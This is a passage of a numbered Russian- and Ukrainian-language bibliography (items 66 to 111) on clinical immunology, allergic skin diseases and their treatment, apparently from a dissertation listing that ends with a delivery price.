66. Клиническая алергология: Рук-во для практических врачей /Под ред. Акад. РАМН Р.М.Хаитова М.:МеДпресс-информ, 2002. 624 с.
67. Клиническая иммунология /Под ред.А В.Караулова. - М.:МИА, 2000.- 623 с.
68. Клиническая иммунология и аллергология. В 3-х томах. Т.1: Пер. с нем. / Под ред. Л.Йегера. 3-е изд. - М.: Медицина, 1999. - 528 с.
69. Коваленко Ю.Б., Дюдюн А.Д. Микроциркуляция и ответные иммунные реакции кожи у больных микробной экземой // V съезд дерматологов УССР: Тез. Докл.- Харьков, 1986. С.57.
70. Ковальчук Л.В., Ганковская Л.В. Иммуноцитокины и локальная иммунокоррекция // Иммунология. - 1995. - № 1. - С.4-7.
71. Ковальчук Л.В., Ганковская Л.В., Хорева М. В., Соколова Е. В. Система цитокинов, комплемента и современные методы иммунного анализа. - М.:Медицина, 2001. - 158 с.
72. Ковнеристый А.Е. Патогенетическое значение нарушений функционального состояния сосудов кожи при хронической экземе // Журн. дерматол. и венерол. 1998. - № 1 (5). С.34-36.
73. Коган Б.Г., Терлецкий В.Б., Терлецкий Р.В. Современная терапия аллергических дерматозов // Український журнал дерматології, венерології, косметології. 2005. - № 3. С. 22-24.
74. Коган Б.Г.Діагностика і терапія розацеа, демодикозу, дерматиту перорального з урахуванням спільних чинників виникнення, патогенезу та особливостей клінічного перебігу дерматозів: Автореф. дис. ... канд.. мед. наук. К., 2006. 24 с.
75. Коляденко В.Г. Клиническая эффективность дезлоратадина при лечении хронической крапивницы // Український журнал дерматології, венерології, косметології. 2002. - № 3. С. 50-53.
76. Кормейн Р.Х., Асгар С.С. Иммунология и болезни кожи (Пер. с англ.). М.: Медицина, 1993. 255с.
77. Коростовцев Д.С. Дезлоратадин (эриус) новый неседативный антигистаминный препарат (высокоселективный антагонист Н1-рецепторов) // Алергология. 2003. - № 1. С.44-50.
78. Лоскутова І.В., Ціпоренко С. Ю. Ефективність ліволіну в профілактиці розвитку рецидивів алергодерматозів у хворих на хронічний некалькульозний холецистит // Український медичний альманах. 2006. Т.9, № 5. С. 91-93
79. Косарев В.В., Жестков А.В. Диагностика и прогнозирование течения профессиональных заболеваний легких с помощью иммунологических методов // Иммунология. - 1999. - № 6. - С.54-56.
80. Костюшов В.В., Гоцуляк О.Л., Мандриевская Н.М. Концепция нарушения адаптации по стабильности тиолзависимого механизма структурно-функционального состояния белков сыворотки крови при аллергодерматозах // Дерматологія та венерологія. 2001. - № 1 (11). С. 10-14.
81. Кравец Е.В. Наружная терапия кремом «Элидел» кожных проявлений аллергодерматозов у детей // Современная педиатрия. 2006. - № 2 (11). С.53-56.
82. Кресюн В.Й., Рожковський Я.В. Біологічні ефекти інтерлейкіну-1 та його вплив на захисні реакції організму // Одеський медичний журнал. 2003. - № 2 (76). С. 92-95.
83. Кулага В.В., Романенко И.М. Аллергические заболевания кожи. К.:Здоров`я, 1997. 255 с.
84. Кунгуров Н.В., Матусевич С.Л., Гольцов С.В. Сравнительная характеристика иммунологических показателей у больных распространенным псориазом при наличии у них клинических признаков иммунодефицитного состояния // Вестн. дерматологии и венерологии. 2002. - № 2. С. 33-36.
85. Курдина М.И. Опыт применения афлодерма на лице у больных различными дерматозами // Российский журнал кожных и венерических болезней // 2003. - № 3. С. 41-44.
86. Кутасевич Я.Ф., Маштакова И.А. Новые возможности в наружной терапии хронических дерматозов // Український журнал дерматології, венерології, косметології. 2003. - № 3. С. 15-17.
87. Кутасевич Я.Ф., Олейник И.А., Маштакова И.А. Препарат нейровитан в лечении пациентов с заболеваниями кожи // Дерматологія та венерологія. 2003. - № 4 (22). С. 14-16.
88. Куценко И.В. Роль антропогенних факторов в развитии аллергодерматозов у рабочих промышленных предприятий // Дерматологія та венерологія. 2004. - № 1 (23). С. 41-43.
89. Лапач С.Н., Чубенко А.В., Бабич П.Н. Статистические методы в медико-биологических исследованиях с использованием Excel. К.:Морион, 2000. 320 с.
90. Лебедев К.А., Понякина И.Д. Нормативы параметров иммунной системы при инфекционных воспалительных заболеваниях отличаются от иммунологических показателей здорового человека // Медицинская иммунол. - 2002. Т.4, № 3. - С.483-489.
91. Литинська Т.О. Значення харчової не переносності в лікуванні хронічних дерматозів // Український журнал дерматології, венерології, косметології. 2005. - № 3. С. 179-180.
92. Литинська Т.О. Лікування хворих на хронічні дерматози з урахуванням патології гепатобіліарної системи // Український журнал дерматології, венерології, косметології. 2006. - № 3. С. 24-27.
93. Лусс Л.В. Аллергические и псевдоаллергические реакции на медикаменты // Рос. медиц. журн. 1999. - № 1. С. 59-63.
94. Лусс Л.В., Бхардварж Л.А., Бхардварж А., Пучкова Н.Г., Некрасов А.В. Роль иммунокоррекции в клинической практике // Int. J. Immunorehab. 2000. - Vol. 2, № 1. - С. 138-145.
95. Ляшенко Ю.И., Трихлеб В.И. Циркулирующие иммунные комплексы при инфекционных заболеваниях // Советская медицина. - 1985. - № 1. - С.27-31.
96. Мавров И.И., Волкославская В.Н. Гутнев А.Л. Влияние антропогенных загрязнителей на уровень заболеваемости аллергодерматозами в восточном и западном регионах Украины // Дерматологія та венерологія. 2003. - № 2 (20). С. 3-6.
97. Мавров И.И., Каруна Б.И. Микроциркуляция при дерматозах. К.:Здоров`я, 1985. С.30-37.
98. Мавров И.И., Савенкова В.В. Особенности патогенеза и терапии больных аллергодерматозами, жителей промышленных регионов // Doctor. 2003. - № 2.- С. 15-17.
99. Мацідонська І.В. Корекція імунного статусу у хворих на алергічний контактний дерматит // Дерматологія та венерологія. 2005. - № 2 (28). С.43-48.
100. Машковский М.Д. Лекарственные средства. Харьков: Торсинг, 1997. 13-е изд., новое. - Т. 2. - 456 с.
101. Метеліцина І.П., Панько О.М. Вивчення антиоксидантної активності нового вітчизняного препарату ербісол // Фармакологічний вісник. 1998. - № 5. С. 75-78.
102. Моисеев С.В. Лекарственная гепатотоксичность // Клиническая фармакология. 2005. - № 1 (14). С.1-4.
103. Мчедлишвили Г.И. Микроциркуляция крови. Л.:Наука, 1989. С.68-82.
104. Мюллер В.Д., Йегер Л. Т-клетки как мишени иммуномодуляции: новая стратегия в терапии аллергии // Пат. физиология. 2000. - № 1. С.14-16.
105. Насонов Е.Л. Современные направления иммунологических исследований при воспалительных и аутоиммунных заболеваниях человека // Терапевт. журн. - 2001. - № 8. - С.43-46.
106. Нейко Є.М., Островська О.М., Вацик М.М. Головні принципи використання імуномодулюючої терапії // Галицький лікарський вісник. - 2002. - Т.9, № 1. - С. 139-143.
107. Несвітайлова К.В., Квашина Л.В. Диференціація рівня здоров'я та адаптаційних можливостей здорових дітей на основі виділення фізіологічних типів імунорезистентності // Педіатрія акушерство та гінекологія. - 2003. - № 1. - С. 12-16.
108. Несмеянов В.А. Цитокины иммунной системы. Белки и пептиды. М.: Наука, 1995. - 126 с.
109. Нестерова И.В. Программы иммунореабилитации больных вторичным иммунодефицитом // Іпt. J. Immunorehab. - 1998. - № 9. - С. 40-45.
110. Николаенко А.Н. Концептуальные подходы к разработке высокоэффективных лекарственных препаратов нового поколения класса «Эрбисол» //Фармакологічний вісник. 1998. - № 6. - С. 69-74.
111. Никулин Н.К. Опыт применения кестина при аллергических дерматозах // Российс
- Стоимость доставки:
- 150.00 грн